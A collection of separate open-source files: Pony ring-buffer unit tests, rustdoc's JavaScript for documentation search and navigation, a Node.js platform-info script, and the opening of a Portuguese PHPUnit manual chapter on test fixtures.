ring.push(9) h.assert_eq[U64](9, ring(0)?) h.assert_eq[U64](6, ring(3)?) // test ring->raw->ring (let buf, let size', let count') = ring.raw() let new_ring = Ring[U64].from_array(consume buf, size', count') h.assert_true(new_ring.size() > 0) h.assert_eq[USize](size, new_ring.size()) h.assert_eq[USize](new_ring.count(), new_ring.count()) for x in Range[USize](0, new_ring.size()) do h.assert_eq[U64](ring(x)?, new_ring(x)?) end // test case where size < array.size() is given let size_lt_ring = Ring[U64].from_array(recover [1; 2; 3; 4] end, 3, 4) h.assert_eq[USize](4, size_lt_ring.size()) // Test where size > array.size let size_gt_ring = Ring[U64].from_array(recover [1; 2] end, 4, 2) h.assert_eq[USize](2, size_gt_ring.size()) size_gt_ring.push(3) size_gt_ring.push(4) h.assert_eq[USize](4, size_gt_ring.size()) size_gt_ring.push(5) h.assert_eq[USize](4, size_gt_ring.size()) class iso _TestToArray is UnitTest fun name(): String => "ring/ToArray" fun apply(h: TestHelper) ? => let array: Array[U64 val] val = recover [5; 6; 7; 8] end let size: USize = 4 let ring = Ring[U64](size) for a in array.values() do ring.push(a) end let to_array = ring.to_array() h.assert_eq[U64](array(0)?, to_array(0)?) h.assert_eq[U64](array(1)?, to_array(1)?) h.assert_eq[U64](array(2)?, to_array(2)?) h.assert_eq[U64](array(3)?, to_array(3)?) class iso _TestString is UnitTest fun name(): String => "ring/StringifyRing" fun apply(h: TestHelper) ? => let size: USize = 4 let ring = Ring[U64](size) for x in Range[U64](0,20) do ring.push(x) end h.assert_eq[USize](20, ring.count()) let s = ring.string()? h.assert_eq[String]("[16,17,18,19]", s) let new_ring = Ring[String](size) new_ring.push("one") new_ring.push("two") new_ring.push("three") new_ring.push("four") new_ring.push("five") h.assert_eq[USize](5, new_ring.count()) let new_s = new_ring.string(", ")? h.assert_eq[String]("[two, three, four, five]", new_s) let short_ring = Ring[U64](4) short_ring.push(1) short_ring.push(2) let short_s = short_ring.string(",", "x")? h.assert_eq[String]("[x,x,1,2]", short_s) let non_string_ring = Ring[MyNonStringable](4) for x in Range[U64](0,4) do non_string_ring.push(MyNonStringable(x, x*2)) end let f': {(MyNonStringable): String} val = {(a: MyNonStringable): String => "(".add(a.x.string()).add(",").add(a.y.string()).add(")") } let non_string_string = non_string_ring.string(where f = f')? h.assert_eq[String]("[(0,0),(1,2),(2,4),(3,6)]", non_string_string) let f_err = {()? => let ring = Ring[MyNonStringable](4) for x in Range[U64](0,4) do ring.push(MyNonStringable(x, x*2)) end ring.string()? } h.assert_error(f_err) // TODO: Once upstream ponyc is merged, replace this with h.assert_no_error let f_no_err = {(): String ? => let ring = Ring[MyNonStringable](4) for x in Range[U64](0,4) do ring.push(MyNonStringable(x, x*2)) end ring.string(where f = {(a: MyNonStringable): String => "(".add(a.x.string()).add(",").add(a.y.string()).add(")")})? } h.assert_eq[String]("[(0,0),(1,2),(2,4),(3,6)]", f_no_err()?) class val MyNonStringable let x: U64 let y: U64 new val create(x': U64, y': U64) => x = x' y = y' class iso _TestKeys is UnitTest fun name(): String => "ring/Keys" fun apply(h: TestHelper) => let ring = Ring[U64].from_array(recover [2; 3; 4; 5] end, 4, 5) let keys: Array[USize] val = recover [0; 1; 2; 3] end let k_keys = keys.keys() let r_keys = ring.keys() for x in Range[USize](0,4) do h.assert_eq[USize](k_keys.next(), r_keys.next()) end class iso _TestValues is UnitTest fun name(): String => "ring/Values" fun apply(h: TestHelper) ? => let ring = Ring[U64].from_array(recover [5; 2; 3; 4] end, 4, 5) let values: Array[U64] val = recover [5; 4; 3; 2] end let r_vals = ring.values() let v_vals = values.values() for x in Range[USize](0,4) do h.assert_eq[U64](v_vals.next()?, r_vals.next()?) end class iso _TestPairs is UnitTest fun name(): String => "ring/Pairs" fun apply(h: TestHelper) ? => let ring = Ring[U64].from_array(recover [5; 2; 3; 4] end, 4, 5) let values: Array[U64] val = recover [5; 4; 3; 2] end let r_pairs = ring.pairs() let v_pairs = values.pairs() for x in Range[USize](0,4) do (let ri, let rv) = r_pairs.next()? (let vi, let vv) = v_pairs.next()? h.assert_eq[USize](vi, ri) h.assert_eq[U64](vv, rv) end
{ "pile_set_name": "Github" }
// Copyright 2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. /*jslint browser: true, es5: true */ /*globals $: true, rootPath: true */ (function() { "use strict"; // This mapping table should match the discriminants of // `rustdoc::html::item_type::ItemType` type in Rust. var itemTypes = ["mod", "externcrate", "import", "struct", "enum", "fn", "type", "static", "trait", "impl", "tymethod", "method", "structfield", "variant", "macro", "primitive", "associatedtype", "constant", "associatedconstant"]; // used for special search precedence var TY_PRIMITIVE = itemTypes.indexOf("primitive"); $('.js-only').removeClass('js-only'); function getQueryStringParams() { var params = {}; window.location.search.substring(1).split("&"). map(function(s) { var pair = s.split("="); params[decodeURIComponent(pair[0])] = typeof pair[1] === "undefined" ? null : decodeURIComponent(pair[1]); }); return params; } function browserSupportsHistoryApi() { return document.location.protocol != "file:" && window.history && typeof window.history.pushState === "function"; } function highlightSourceLines(ev) { var i, from, to, match = window.location.hash.match(/^#?(\d+)(?:-(\d+))?$/); if (match) { from = parseInt(match[1], 10); to = Math.min(50000, parseInt(match[2] || match[1], 10)); from = Math.min(from, to); if ($('#' + from).length === 0) { return; } if (ev === null) { $('#' + from)[0].scrollIntoView(); }; $('.line-numbers span').removeClass('line-highlighted'); for (i = from; i <= to; ++i) { $('#' + i).addClass('line-highlighted'); } } } highlightSourceLines(null); $(window).on('hashchange', highlightSourceLines); // Gets the human-readable string for the virtual-key code of the // given KeyboardEvent, ev. // // This function is meant as a polyfill for KeyboardEvent#key, // since it is not supported in Trident. We also test for // KeyboardEvent#keyCode because the handleShortcut handler is // also registered for the keydown event, because Blink doesn't fire // keypress on hitting the Escape key. // // So I guess you could say things are getting pretty interoperable. function getVirtualKey(ev) { if ("key" in ev && typeof ev.key != "undefined") return ev.key; var c = ev.charCode || ev.keyCode; if (c == 27) return "Escape"; return String.fromCharCode(c); } function handleShortcut(ev) { if (document.activeElement.tagName == "INPUT") return; // Don't interfere with browser shortcuts if (ev.ctrlKey || ev.altKey || ev.metaKey) return; switch (getVirtualKey(ev)) { case "Escape": if (!$("#help").hasClass("hidden")) { ev.preventDefault(); $("#help").addClass("hidden"); $("body").removeClass("blur"); } else if (!$("#search").hasClass("hidden")) { ev.preventDefault(); $("#search").addClass("hidden"); $("#main").removeClass("hidden"); } break; case "s": case "S": ev.preventDefault(); focusSearchBar(); break; case "+": ev.preventDefault(); toggleAllDocs(); break; case "?": if (ev.shiftKey && $("#help").hasClass("hidden")) { ev.preventDefault(); $("#help").removeClass("hidden"); $("body").addClass("blur"); } break; } } $(document).on("keypress", handleShortcut); $(document).on("keydown", handleShortcut); $(document).on("click", function(ev) { if (!$(ev.target).closest("#help > div").length) { $("#help").addClass("hidden"); $("body").removeClass("blur"); } }); $('.version-selector').on('change', function() { var i, match, url = document.location.href, stripped = '', len = rootPath.match(/\.\.\//g).length + 1; for (i = 0; i < len; ++i) { match = url.match(/\/[^\/]*$/); if (i < len - 1) { stripped = match[0] + stripped; } url = url.substring(0, url.length - match[0].length); } url += '/' + $('.version-selector').val() + stripped; document.location.href = url; }); /** * A function to compute the Levenshtein distance between two strings * Licensed under the Creative Commons Attribution-ShareAlike 3.0 Unported * Full License can be found at http://creativecommons.org/licenses/by-sa/3.0/legalcode * This code is an unmodified version of the code written by Marco de Wit * and was found at http://stackoverflow.com/a/18514751/745719 */ var levenshtein = (function() { var row2 = []; return function(s1, s2) { if (s1 === s2) { return 0; } var s1_len = s1.length, s2_len = s2.length; if (s1_len && s2_len) { var i1 = 0, i2 = 0, a, b, c, c2, row = row2; while (i1 < s1_len) { row[i1] = ++i1; } while (i2 < s2_len) { c2 = s2.charCodeAt(i2); a = i2; ++i2; b = i2; for (i1 = 0; i1 < s1_len; ++i1) { c = a + (s1.charCodeAt(i1) !== c2 ? 1 : 0); a = row[i1]; b = b < a ? (b < c ? b + 1 : c) : (a < c ? a + 1 : c); row[i1] = b; } } return b; } return s1_len + s2_len; }; })(); function initSearch(rawSearchIndex) { var currentResults, index, searchIndex; var MAX_LEV_DISTANCE = 3; var params = getQueryStringParams(); // Populate search bar with query string search term when provided, // but only if the input bar is empty. This avoid the obnoxious issue // where you start trying to do a search, and the index loads, and // suddenly your search is gone! if ($(".search-input")[0].value === "") { $(".search-input")[0].value = params.search || ''; } /** * Executes the query and builds an index of results * @param {[Object]} query [The user query] * @param {[type]} max [The maximum results returned] * @param {[type]} searchWords [The list of search words to query * against] * @return {[type]} [A search index of results] */ function execQuery(query, max, searchWords) { var valLower = query.query.toLowerCase(), val = valLower, typeFilter = itemTypeFromName(query.type), results = [], split = valLower.split("::"); // remove empty keywords for (var j = 0; j < split.length; ++j) { split[j].toLowerCase(); if (split[j] === "") { split.splice(j, 1); } } function typePassesFilter(filter, type) { // No filter if (filter < 0) return true; // Exact match if (filter === type) return true; // Match related items var name = itemTypes[type]; switch (itemTypes[filter]) { case "constant": return (name == "associatedconstant"); case "fn": return (name == "method" || name == "tymethod"); case "type": return (name == "primitive"); } // No match return false; } // quoted values mean literal search var nSearchWords = searchWords.length; if ((val.charAt(0) === "\"" || val.charAt(0) === "'") && val.charAt(val.length - 1) === val.charAt(0)) { val = val.substr(1, val.length - 2); for (var i = 0; i < nSearchWords; ++i) { if (searchWords[i] === val) { // filter type: ... queries if (typePassesFilter(typeFilter, searchIndex[i].ty)) { results.push({id: i, index: -1}); } } if (results.length === max) { break; } } // searching by type } else if (val.search("->") > -1) { var trimmer = function (s) { return s.trim(); }; var parts = val.split("->").map(trimmer); var input = parts[0]; // sort inputs so that order does not matter var inputs = input.split(",").map(trimmer).sort().toString(); var output = parts[1]; for (var i = 0; i < nSearchWords; ++i) { var type = searchIndex[i].type; if (!type) { continue; } // sort index inputs so that order does not matter var typeInputs = type.inputs.map(function (input) { return input.name; }).sort(); // allow searching for void (no output) functions as well var typeOutput = type.output ? type.output.name : ""; if ((inputs === "*" || inputs === typeInputs.toString()) && (output === "*" || output == typeOutput)) { results.push({id: i, index: -1, dontValidate: true}); } } } else { // gather matching search results up to a certain maximum val = val.replace(/\_/g, ""); for (var i = 0; i < split.length; ++i) { for (var j = 0; j < nSearchWords; ++j) { var lev_distance; if (searchWords[j].indexOf(split[i]) > -1 || searchWords[j].indexOf(val) > -1 || searchWords[j].replace(/_/g, "").indexOf(val) > -1) { // filter type: ... queries if (typePassesFilter(typeFilter, searchIndex[j].ty)) { results.push({ id: j, index: searchWords[j].replace(/_/g, "").indexOf(val), lev: 0, }); } } else if ( (lev_distance = levenshtein(searchWords[j], val)) <= MAX_LEV_DISTANCE) { if (typePassesFilter(typeFilter, searchIndex[j].ty)) { results.push({ id: j, index: 0, // we want lev results to go lower than others lev: lev_distance, }); } } if (results.length === max) { break; } } } } var nresults = results.length; for (var i = 0; i < nresults; ++i) { results[i].word = searchWords[results[i].id]; results[i].item = searchIndex[results[i].id] || {}; } // if there are no results then return to default and fail if (results.length === 0) { return []; } results.sort(function sortResults(aaa, bbb) { var a, b; // Sort by non levenshtein results and then levenshtein results by the distance // (less changes required to match means higher rankings) a = (aaa.lev); b = (bbb.lev); if (a !== b) { return a - b; } // sort by crate (non-current crate goes later) a = (aaa.item.crate !== window.currentCrate); b = (bbb.item.crate !== window.currentCrate); if (a !== b) { return a - b; } // sort by exact match (mismatch goes later) a = (aaa.word !== valLower); b = (bbb.word !== valLower); if (a !== b) { return a - b; } // sort by item name length (longer goes later) a = aaa.word.length; b = bbb.word.length; if (a !== b) { return a - b; } // sort by item name (lexicographically larger goes later) a = aaa.word; b = bbb.word; if (a !== b) { return (a > b ? +1 : -1); } // sort by index of keyword in item name (no literal occurrence goes later) a = (aaa.index < 0); b = (bbb.index < 0); if (a !== b) { return a - b; } // (later literal occurrence, if any, goes later) a = aaa.index; b = bbb.index; if (a !== b) { return a - b; } // special precedence for primitive pages if ((aaa.item.ty === TY_PRIMITIVE) && (bbb.item.ty !== TY_PRIMITIVE)) { return -1; } if ((bbb.item.ty === TY_PRIMITIVE) && (aaa.item.ty !== TY_PRIMITIVE)) { return 1; } // sort by description (no description goes later) a = (aaa.item.desc === ''); b = (bbb.item.desc === ''); if (a !== b) { return a - b; } // sort by type (later occurrence in `itemTypes` goes later) a = aaa.item.ty; b = bbb.item.ty; if (a !== b) { return a - b; } // sort by path (lexicographically larger goes later) a = aaa.item.path; b = bbb.item.path; if (a !== b) { return (a > b ? +1 : -1); } // que sera, sera return 0; }); // remove duplicates, according to the data provided for (var i = results.length - 1; i > 0; i -= 1) { if (results[i].word === results[i - 1].word && results[i].item.ty === results[i - 1].item.ty && results[i].item.path === results[i - 1].item.path && (results[i].item.parent || {}).name === (results[i - 1].item.parent || {}).name) { results[i].id = -1; } } for (var i = 0; i < results.length; ++i) { var result = results[i], name = result.item.name.toLowerCase(), path = result.item.path.toLowerCase(), parent = result.item.parent; // this validation does not make sense when searching by types if (result.dontValidate) { continue; } var valid = validateResult(name, path, split, parent); if (!valid) { result.id = -1; } } return results; } /** * Validate performs the following boolean logic. For example: * "File::open" will give IF A PARENT EXISTS => ("file" && "open") * exists in (name || path || parent) OR => ("file" && "open") exists in * (name || path ) * * This could be written functionally, but I wanted to minimise * functions on stack. * * @param {[string]} name [The name of the result] * @param {[string]} path [The path of the result] * @param {[string]} keys [The keys to be used (["file", "open"])] * @param {[object]} parent [The parent of the result] * @return {[boolean]} [Whether the result is valid or not] */ function validateResult(name, path, keys, parent) { for (var i = 0; i < keys.length; ++i) { // each check is for validation so we negate the conditions and invalidate if (!( // check for an exact name match name.toLowerCase().indexOf(keys[i]) > -1 || // then an exact path match path.toLowerCase().indexOf(keys[i]) > -1 || // next if there is a parent, check for exact parent match (parent !== undefined && parent.name.toLowerCase().indexOf(keys[i]) > -1) || // lastly check to see if the name was a levenshtein match levenshtein(name.toLowerCase(), keys[i]) <= MAX_LEV_DISTANCE)) { return false; } } return true; } function getQuery() { var matches, type, query, raw = $('.search-input').val(); query = raw; matches = query.match(/^(fn|mod|struct|enum|trait|type|const|macro)\s*:\s*/i); if (matches) { type = matches[1].replace(/^const$/, 'constant'); query = query.substring(matches[0].length); } return { raw: raw, query: query, type: type, id: query + type }; } function initSearchNav() { var hoverTimeout, $results = $('.search-results .result'); $results.on('click', function() { var dst = $(this).find('a')[0]; if (window.location.pathname === dst.pathname) { $('#search').addClass('hidden'); $('#main').removeClass('hidden'); document.location.href = dst.href; } }).on('mouseover', function() { var $el = $(this); clearTimeout(hoverTimeout); hoverTimeout = setTimeout(function() { $results.removeClass('highlighted'); $el.addClass('highlighted'); }, 20); }); $(document).off('keydown.searchnav'); $(document).on('keydown.searchnav', function(e) { var $active = $results.filter('.highlighted'); if (e.which === 38) { // up if (!$active.length || !$active.prev()) { return; } $active.prev().addClass('highlighted'); $active.removeClass('highlighted'); } else if (e.which === 40) { // down if (!$active.length) { $results.first().addClass('highlighted'); } else if ($active.next().length) { $active.next().addClass('highlighted'); $active.removeClass('highlighted'); } } else if (e.which === 13) { // return if ($active.length) { document.location.href = $active.find('a').prop('href'); } } else { $active.removeClass('highlighted'); } }); } function escape(content) { return $('<h1/>').text(content).html(); } function showResults(results) { var output, shown, query = getQuery(); currentResults = query.id; output = '<h1>Results for ' + escape(query.query) + (query.type ? ' (type: ' + escape(query.type) + ')' : '') + '</h1>'; output += '<table class="search-results">'; if (results.length > 0) { shown = []; results.forEach(function(item) { var name, type, href, displayPath; if (shown.indexOf(item) !== -1) { return; } shown.push(item); name = item.name; type = itemTypes[item.ty]; if (type === 'mod') { displayPath = item.path + '::'; href = rootPath + item.path.replace(/::/g, '/') + '/' + name + '/index.html'; } else if (type === 'static' || type === 'reexport') { displayPath = item.path + '::'; href = rootPath + item.path.replace(/::/g, '/') + '/index.html'; } else if (type === "primitive") { displayPath = ""; href = rootPath + item.path.replace(/::/g, '/') + '/' + type + '.' + name + '.html'; } else if (type === "externcrate") { displayPath = ""; href = rootPath + name + '/index.html'; } else if (item.parent !== undefined) { var myparent = item.parent; var anchor = '#' + type + '.' + name; displayPath = item.path + '::' + myparent.name + '::'; href = rootPath + item.path.replace(/::/g, '/') + '/' + itemTypes[myparent.ty] + '.' + myparent.name + '.html' + anchor; } else { displayPath = item.path + '::'; href = rootPath + item.path.replace(/::/g, '/') + '/' + type + '.' + name + '.html'; } output += '<tr class="' + type + ' result"><td>' + '<a href="' + href + '">' + displayPath + '<span class="' + type + '">' + name + '</span></a></td><td>' + '<a href="' + href + '">' + '<span class="desc">' + item.desc + '&nbsp;</span></a></td></tr>'; }); } else { output += 'No results :( <a href="https://duckduckgo.com/?q=' + encodeURIComponent('rust ' + query.query) + '">Try on DuckDuckGo?</a>'; } output += "</p>"; $('#main.content').addClass('hidden'); $('#search.content').removeClass('hidden').html(output); $('#search .desc').width($('#search').width() - 40 - $('#search td:first-child').first().width()); initSearchNav(); } function search(e) { var query, filterdata = [], obj, i, len, results = [], maxResults = 200, resultIndex; var params = getQueryStringParams(); query = getQuery(); if (e) { e.preventDefault(); } if (!query.query || query.id === currentResults) { return; } // Update document title to maintain a meaningful browser history $(document).prop("title", "Results for " + query.query + " - Rust"); // Because searching is incremental by character, only the most // recent search query is added to the browser history. if (browserSupportsHistoryApi()) { if (!history.state && !params.search) { history.pushState(query, "", "?search=" + encodeURIComponent(query.raw)); } else { history.replaceState(query, "", "?search=" + encodeURIComponent(query.raw)); } } resultIndex = execQuery(query, 20000, index); len = resultIndex.length; for (i = 0; i < len; ++i) { if (resultIndex[i].id > -1) { obj = searchIndex[resultIndex[i].id]; filterdata.push([obj.name, obj.ty, obj.path, obj.desc]); results.push(obj); } if (results.length >= maxResults) { break; } } showResults(results); } function itemTypeFromName(typename) { for (var i = 0; i < itemTypes.length; ++i) { if (itemTypes[i] === typename) { return i; } } return -1; } function buildIndex(rawSearchIndex) { searchIndex = []; var searchWords = []; for (var crate in rawSearchIndex) { if (!rawSearchIndex.hasOwnProperty(crate)) { continue; } searchWords.push(crate); searchIndex.push({ crate: crate, ty: 1, // == ExternCrate name: crate, path: "", desc: rawSearchIndex[crate].doc, type: null, }); // an array of [(Number) item type, // (String) name, // (String) full path or empty string for previous path, // (String) description, // (Number | null) the parent path index to `paths`] // (Object | null) the type of the function (if any) var items = rawSearchIndex[crate].items; // an array of [(Number) item type, // (String) name] var paths = rawSearchIndex[crate].paths; // convert `paths` into an object form var len = paths.length; for (var i = 0; i < len; ++i) { paths[i] = {ty: paths[i][0], name: paths[i][1]}; } // convert `items` into an object form, and construct word indices. // // before any analysis is performed lets gather the search terms to // search against apart from the rest of the data. This is a quick // operation that is cached for the life of the page state so that // all other search operations have access to this cached data for // faster analysis operations var len = items.length; var lastPath = ""; for (var i = 0; i < len; ++i) { var rawRow = items[i]; var row = {crate: crate, ty: rawRow[0], name: rawRow[1], path: rawRow[2] || lastPath, desc: rawRow[3], parent: paths[rawRow[4]], type: rawRow[5]}; searchIndex.push(row); if (typeof row.name === "string") { var word = row.name.toLowerCase(); searchWords.push(word); } else { searchWords.push(""); } lastPath = row.path; } } return searchWords; } function startSearch() { var searchTimeout; $(".search-input").on("keyup input",function() { clearTimeout(searchTimeout); if ($(this).val().length === 0) { if (browserSupportsHistoryApi()) { history.replaceState("", "std - Rust", "?search="); } $('#main.content').removeClass('hidden'); $('#search.content').addClass('hidden'); } else { searchTimeout = setTimeout(search, 500); } }); $('.search-form').on('submit', function(e){ e.preventDefault(); clearTimeout(searchTimeout); search(); }); $('.search-input').on('change paste', function(e) { // Do NOT e.preventDefault() here. It will prevent pasting. clearTimeout(searchTimeout); // zero-timeout necessary here because at the time of event handler execution the // pasted content is not in the input field yet. Shouldn’t make any difference for // change, though. setTimeout(search, 0); }); // Push and pop states are used to add search results to the browser // history. if (browserSupportsHistoryApi()) { // Store the previous <title> so we can revert back to it later. var previousTitle = $(document).prop("title"); $(window).on('popstate', function(e) { var params = getQueryStringParams(); // When browsing back from search results the main page // visibility must be reset. if (!params.search) { $('#main.content').removeClass('hidden'); $('#search.content').addClass('hidden'); } // Revert to the previous title manually since the History // API ignores the title parameter. $(document).prop("title", previousTitle); // When browsing forward to search results the previous // search will be repeated, so the currentResults are // cleared to ensure the search is successful. currentResults = null; // Synchronize search bar with query string state and // perform the search. This will empty the bar if there's // nothing there, which lets you really go back to a // previous state with nothing in the bar. $('.search-input').val(params.search); // Some browsers fire 'onpopstate' for every page load // (Chrome), while others fire the event only when actually // popping a state (Firefox), which is why search() is // called both here and at the end of the startSearch() // function. search(); }); } search(); } function plainSummaryLine(markdown) { markdown.replace(/\n/g, ' ') .replace(/'/g, "\'") .replace(/^#+? (.+?)/, "$1") .replace(/\[(.*?)\]\(.*?\)/g, "$1") .replace(/\[(.*?)\]\[.*?\]/g, "$1"); } index = buildIndex(rawSearchIndex); startSearch(); // Draw a convenient sidebar of known crates if we have a listing if (rootPath === '../') { var sidebar = $('.sidebar'); var div = $('<div>').attr('class', 'block crate'); div.append($('<h3>').text('Crates')); var ul = $('<ul>').appendTo(div); var crates = []; for (var crate in rawSearchIndex) { if (!rawSearchIndex.hasOwnProperty(crate)) { continue; } crates.push(crate); } crates.sort(); for (var i = 0; i < crates.length; ++i) { var klass = 'crate'; if (crates[i] === window.currentCrate) { klass += ' current'; } if (rawSearchIndex[crates[i]].items[0]) { var desc = rawSearchIndex[crates[i]].items[0][3]; var link = $('<a>', {'href': '../' + crates[i] + '/index.html', 'title': plainSummaryLine(desc), 'class': klass}).text(crates[i]); ul.append($('<li>').append(link)); } } sidebar.append(div); } } window.initSearch = initSearch; // delayed sidebar rendering. function initSidebarItems(items) { var sidebar = $('.sidebar'); var current = window.sidebarCurrent; function block(shortty, longty) { var filtered = items[shortty]; if (!filtered) { return; } var div = $('<div>').attr('class', 'block ' + shortty); div.append($('<h3>').text(longty)); var ul = $('<ul>').appendTo(div); for (var i = 0; i < filtered.length; ++i) { var item = filtered[i]; var name = item[0]; var desc = item[1]; // can be null var klass = shortty; if (name === current.name && shortty === current.ty) { klass += ' current'; } var path; if (shortty === 'mod') { path = name + '/index.html'; } else { path = shortty + '.' + name + '.html'; } var link = $('<a>', {'href': current.relpath + path, 'title': desc, 'class': klass}).text(name); ul.append($('<li>').append(link)); } sidebar.append(div); } block("primitive", "Primitive Types"); block("mod", "Modules"); block("macro", "Macros"); block("struct", "Structs"); block("enum", "Enums"); block("constant", "Constants"); block("static", "Statics"); block("trait", "Traits"); block("fn", "Functions"); block("type", "Type Definitions"); } window.initSidebarItems = initSidebarItems; window.register_implementors = function(imp) { var list = $('#implementors-list'); var libs = Object.getOwnPropertyNames(imp); for (var i = 0; i < libs.length; ++i) { if (libs[i] === currentCrate) { continue; } var structs = imp[libs[i]]; for (var j = 0; j < structs.length; ++j) { var code = $('<code>').append(structs[j]); $.each(code.find('a'), function(idx, a) { var href = $(a).attr('href'); if (href && href.indexOf('http') !== 0) { $(a).attr('href', rootPath + href); } }); var li = $('<li>').append(code); list.append(li); } } }; if (window.pending_implementors) { window.register_implementors(window.pending_implementors); } // See documentation in html/render.rs for what this is doing. var query = getQueryStringParams(); if (query['gotosrc']) { window.location = $('#src-' + query['gotosrc']).attr('href'); } if (query['gotomacrosrc']) { window.location = $('.srclink').attr('href'); } function labelForToggleButton(sectionIsCollapsed) { if (sectionIsCollapsed) { // button will expand the section return "+"; } // button will collapse the section // note that this text is also set in the HTML template in render.rs return "\u2212"; // "\u2212" is '−' minus sign } function toggleAllDocs() { var toggle = $("#toggle-all-docs"); if (toggle.hasClass("will-expand")) { toggle.removeClass("will-expand"); toggle.children(".inner").text(labelForToggleButton(false)); toggle.attr("title", "collapse all docs"); $(".docblock").show(); $(".toggle-label").hide(); $(".toggle-wrapper").removeClass("collapsed"); $(".collapse-toggle").children(".inner").text(labelForToggleButton(false)); } else { toggle.addClass("will-expand"); toggle.children(".inner").text(labelForToggleButton(true)); toggle.attr("title", "expand all docs"); $(".docblock").hide(); $(".toggle-label").show(); $(".toggle-wrapper").addClass("collapsed"); $(".collapse-toggle").children(".inner").text(labelForToggleButton(true)); } } $("#toggle-all-docs").on("click", toggleAllDocs); $(document).on("click", ".collapse-toggle", function() { var toggle = $(this); var relatedDoc = toggle.parent().next(); if (relatedDoc.is(".stability")) { relatedDoc = relatedDoc.next(); } if (relatedDoc.is(".docblock")) { if (relatedDoc.is(":visible")) { relatedDoc.slideUp({duration: 'fast', easing: 'linear'}); toggle.parent(".toggle-wrapper").addClass("collapsed"); toggle.children(".inner").text(labelForToggleButton(true)); toggle.children(".toggle-label").fadeIn(); } else { relatedDoc.slideDown({duration: 'fast', easing: 'linear'}); toggle.parent(".toggle-wrapper").removeClass("collapsed"); toggle.children(".inner").text(labelForToggleButton(false)); toggle.children(".toggle-label").hide(); } } }); $(function() { var toggle = $("<a/>", {'href': 'javascript:void(0)', 'class': 'collapse-toggle'}) .html("[<span class='inner'></span>]"); toggle.children(".inner").text(labelForToggleButton(false)); $(".method").each(function() { if ($(this).next().is(".docblock") || ($(this).next().is(".stability") && $(this).next().next().is(".docblock"))) { $(this).children().last().after(toggle.clone()); } }); var mainToggle = $(toggle).append( $('<span/>', {'class': 'toggle-label'}) .css('display', 'none') .html('&nbsp;Expand&nbsp;description')); var wrapper = $("<div class='toggle-wrapper'>").append(mainToggle); $("#main > .docblock").before(wrapper); }); $('pre.line-numbers').on('click', 'span', function() { var prev_id = 0; function set_fragment(name) { if (browserSupportsHistoryApi()) { history.replaceState(null, null, '#' + name); $(window).trigger('hashchange'); } else { location.replace('#' + name); } } return function(ev) { var cur_id = parseInt(ev.target.id, 10); if (ev.shiftKey && prev_id) { if (prev_id > cur_id) { var tmp = prev_id; prev_id = cur_id; cur_id = tmp; } set_fragment(prev_id + '-' + cur_id); } else { prev_id = cur_id; set_fragment(cur_id); } }; }()); }()); // Sets the focus on the search bar at the top of the page function focusSearchBar() { $('.search-input').focus(); }
{ "pile_set_name": "Github" }
'use strict'; console.log("Platform info:"); var os = require("os"); var v8 = process.versions.v8; var node = process.versions.node; var plat = os.type() + " " + os.release() + " " + os.arch() + "\nNode.JS " + node + "\nV8 " + v8; var cpus = os.cpus().map(function (cpu) { return cpu.model; }).reduce(function (o, model) { if (!o[model]) o[model] = 0; o[model]++; return o; }, {}); cpus = Object.keys(cpus).map(function (key) { return key + " \u00d7 " + cpus[key]; }).join("\n"); console.log(plat + "\n" + cpus + "\n"); module.exports = {};
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8" ?> <chapter id="fixtures"> <title>Ambientes</title> <para> <indexterm><primary>Ambientes</primary></indexterm> Uma das partes que mais consomem tempo ao se escrever testes é escrever o código para ajustar o ambiente para um estado conhecido e então retorná-lo ao seu estado original quando o teste está completo. Esse estado conhecido é chamado de <emphasis>ambiente</emphasis> do teste. </para> <para> Em <xref linkend="writing-tests-for-phpunit.examples.StackTest.php" />, o ambiente era simplesmente o vetor que está guardado na variável <literal>$stack</literal>. Na maior parte do tempo, porém, o ambiente será mais complexo que um simples vetor, e a quantidade de código necessária para defini-lo aumentará na mesma proporção. O conteúdo real do teste se perde na bagunça da configuração do ambiente. Esse problema piora ainda mais quando você escreve vários testes com ambientes similares. Sem alguma ajuda do framework de teste, teríamos que duplicar o código que define o ambiente para cada teste que escrevermos. </para> <para> <indexterm><primary>Método Modelo</primary></indexterm> <indexterm><primary>setUp()</primary></indexterm> <indexterm><primary>tearDown()</primary></indexterm> O PHPUnit suporta compartilhamento do código de configuração. Antes que um método seja executado, um método modelo chamado <literal>setUp()</literal> é invocado. <literal>setUp()</literal> é onde você cria os objetos que serão alvo dos testes. Uma vez que o método de teste tenha terminado sua execução, seja bem-sucedido ou falho, outro método modelo chamado <literal>tearDown()</literal> é invocado. <literal>tearDown()</literal> é onde você limpa os objetos que foram alvo dos testes. </para> <para> Em <xref linkend="writing-tests-for-phpunit.examples.StackTest2.php" /> usamos a relação produtor-consumidor entre testes para compartilhar ambientes. Isso nem sempre é desejável, ou mesmo possível. <xref linkend="fixtures.examples.StackTest.php"/> mostra como podemos escrever os testes do <literal>StackTest</literal> de forma que o próprio ambiente não é reutilizado, mas o código que o cria. Primeiro declaramos a variável de instância <literal>$stack</literal>, que usaremos no lugar de uma variável do método local. Então colocamos a criação do ambiente <literal>vetor</literal> dentro do método <literal>setUp()</literal>. Finalmente, removemos o código redundante dos métodos de teste e usamos a nova variável de instância, <literal>$this->stack</literal>, em vez da variável de método local <literal>$stack</literal> com o método de asserção <literal>assertEquals()</literal>. </para> <example id="fixtures.examples.StackTest.php"> <title>Usando setUp() para criar o ambiente stack</title> <programlisting><![CDATA[<?php class StackTest extends PHPUnit_Framework_TestCase { protected $stack; protected function setUp() { $this->stack = array(); } public function testEmpty() { $this->assertTrue(empty($this->stack)); } public function testPush() { array_push($this->stack, 'foo'); $this->assertEquals('foo', $this->stack[count($this->stack)-1]); $this->assertFalse(empty($this->stack)); } public function testPop() { array_push($this->stack, 'foo'); $this->assertEquals('foo', array_pop($this->stack)); $this->assertTrue(empty($this->stack)); } } ?>]]></programlisting> </example> <para> <indexterm><primary>Método Modelo</primary></indexterm> <indexterm><primary>setUpBeforeClass()</primary></indexterm> <indexterm><primary>setUp()</primary></indexterm> <indexterm><primary>tearDown()</primary></indexterm> <indexterm><primary>tearDownAfterClass()</primary></indexterm> Os métodos-modelo <literal>setUp()</literal> e <literal>tearDown()</literal> são executados uma vez para cada método de teste (e em novas instâncias) da 